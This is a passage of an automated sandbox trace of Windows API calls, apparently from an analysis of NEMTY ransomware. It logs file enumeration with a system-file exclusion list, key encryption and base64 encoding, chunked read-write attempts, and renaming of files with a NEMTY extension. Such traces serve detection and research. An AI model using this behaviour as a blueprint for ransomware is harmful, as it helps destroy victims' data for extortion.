lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0154.483] CloseHandle (hObject=0xffffffff) returned 0 [0154.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0154.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0154.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0154.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0154.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0154.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0154.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0154.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0154.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0154.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0154.484] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\23.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\23.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\23.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\23.png._nemty_kgobjgd_")) returned 0 [0154.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0154.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0154.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0154.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0154.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0154.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0154.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0154.484] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8698be5f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8698be5f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac34285, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="24.png", cAlternateFileName="")) returned 1 [0154.484] lstrcmpiW (lpString1="24.png", lpString2=".") returned 1 [0154.484] lstrcmpiW (lpString1="24.png", lpString2="..") returned 1 [0154.484] lstrcmpiW (lpString1="24.png", lpString2="...") returned 1 [0154.484] lstrcmpiW (lpString1="24.png", lpString2="windows") returned -1 [0154.484] lstrcmpiW (lpString1="24.png", lpString2="$RECYCLE.BIN") returned 1 [0154.484] lstrcmpiW (lpString1="24.png", lpString2="rsa") returned -1 [0154.484] lstrcmpiW (lpString1="24.png", lpString2="NTDETECT.COM") returned -1 [0154.484] lstrcmpiW (lpString1="24.png", lpString2="ntldr") returned -1 [0154.484] lstrcmpiW (lpString1="24.png", lpString2="MSDOS.SYS") returned -1 [0154.484] lstrcmpiW (lpString1="24.png", lpString2="IO.SYS") returned -1 [0154.484] lstrcmpiW (lpString1="24.png", lpString2="boot.ini") returned -1 [0154.485] lstrcmpiW (lpString1="24.png", lpString2="boot.ini") returned -1 [0154.485] lstrcmpiW (lpString1="24.png", lpString2="AUTOEXEC.BAT") returned -1 [0154.485] lstrcmpiW (lpString1="24.png", lpString2="ntuser.dat") returned -1 [0154.485] lstrcmpiW (lpString1="24.png", lpString2="desktop.ini") returned -1 [0154.485] lstrcmpiW (lpString1="24.png", lpString2="CONFIG.SYS") returned -1 [0154.485] lstrcmpiW (lpString1="24.png", lpString2="RECYCLER") returned -1 [0154.485] lstrcmpiW (lpString1="24.png", lpString2="BOOTSECT.BAK") returned -1 [0154.485] lstrcmpiW (lpString1="24.png", lpString2="bootmgr") returned -1 [0154.485] lstrcmpiW (lpString1="24.png", lpString2="programdata") returned -1 [0154.485] lstrcmpiW (lpString1="24.png", lpString2="appdata") returned -1 [0154.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="24.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="24.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="24.png", lpUsedDefaultChar=0x0) returned 6 [0154.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="24.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="24.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="24.png", lpUsedDefaultChar=0x0) returned 6 [0154.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="24.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="24.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="24.png", lpUsedDefaultChar=0x0) returned 6 [0154.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="24.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="24.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="24.png", lpUsedDefaultChar=0x0) returned 6 [0154.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0154.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0154.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0154.485] Sleep (dwMilliseconds=0x5) [0154.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfbc76b0, dwHighDateTime=0x1d561e8)) [0154.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfbc76b0, dwHighDateTime=0x1d561e8)) [0154.500] GetLastError () returned 0x5 [0154.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0154.500] GetLastError () returned 0x5 [0154.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0154.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0154.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0154.500] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0154.500] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0154.501] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0154.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0154.501] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="0OKBOFwUFBlyJI7NurO4IkjgXqSSJEF/FbXbzXBGZJBwlx+nYdzFEPHlJJZqZ3aP\r\ndsvQLAXp4UccKIl62DPY/eolexxqCJApqvNahSj7A5kT/kFDQsiAPpN/+wh9M0Wj\r\nVZetiI9cznFACbibjQmHiTe8TKB+ntRK1duxZhWb9sJiDix5fXruUMUJWjHxSo8D\r\nmLnIhYx+TA2BPI3hSwj35dRjddYYQe/xWv3IANKPwPq5jBWYpkBGZ5gtf1rCWR0S\r\net03zvUXb3wNQ45r4JvsccSX1UYJxu5KDvKpOI2aYLRza/iescnqPL1PUJBvfvar\r\nnKbTaCFqYPzYxqYMnLJygQ==\r\n", pcchString=0x653e91c) returned 1 [0154.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0154.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0154.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0154.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0154.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0154.501] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\24.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0154.501] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0154.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0154.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.510] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.510] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.530] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.530] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.540] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.540] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.549] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.549] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.558] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.558] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.568] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.568] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.577] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.577] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.587] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.587] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.596] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.596] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0154.609] CloseHandle (hObject=0xffffffff) returned 0 [0154.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0154.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0154.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0154.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0154.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0154.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0154.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0154.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0154.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0154.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0154.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\24.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\24.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\24.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\24.png._nemty_kgobjgd_")) returned 0 [0154.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0154.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0154.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0154.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0154.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0154.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0154.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0154.609] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8698be5f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8698be5f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac34285, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="25.png", cAlternateFileName="")) returned 1 [0154.609] lstrcmpiW (lpString1="25.png", lpString2=".") returned 1 [0154.609] lstrcmpiW (lpString1="25.png", lpString2="..") returned 1 [0154.609] lstrcmpiW (lpString1="25.png", lpString2="...") returned 1 [0154.609] lstrcmpiW (lpString1="25.png", lpString2="windows") returned -1 [0154.609] lstrcmpiW (lpString1="25.png", lpString2="$RECYCLE.BIN") returned 1 [0154.609] lstrcmpiW (lpString1="25.png", lpString2="rsa") returned -1 [0154.609] lstrcmpiW (lpString1="25.png", lpString2="NTDETECT.COM") returned -1 [0154.610] lstrcmpiW (lpString1="25.png", lpString2="ntldr") returned -1 [0154.610] lstrcmpiW (lpString1="25.png", lpString2="MSDOS.SYS") returned -1 [0154.610] lstrcmpiW (lpString1="25.png", lpString2="IO.SYS") returned -1 [0154.610] lstrcmpiW (lpString1="25.png", lpString2="boot.ini") returned -1 [0154.610] lstrcmpiW (lpString1="25.png", lpString2="boot.ini") returned -1 [0154.610] lstrcmpiW (lpString1="25.png", lpString2="AUTOEXEC.BAT") returned -1 [0154.610] lstrcmpiW (lpString1="25.png", lpString2="ntuser.dat") returned -1 [0154.610] lstrcmpiW (lpString1="25.png", lpString2="desktop.ini") returned -1 [0154.610] lstrcmpiW (lpString1="25.png", lpString2="CONFIG.SYS") returned -1 [0154.610] lstrcmpiW (lpString1="25.png", lpString2="RECYCLER") returned -1 [0154.610] lstrcmpiW (lpString1="25.png", 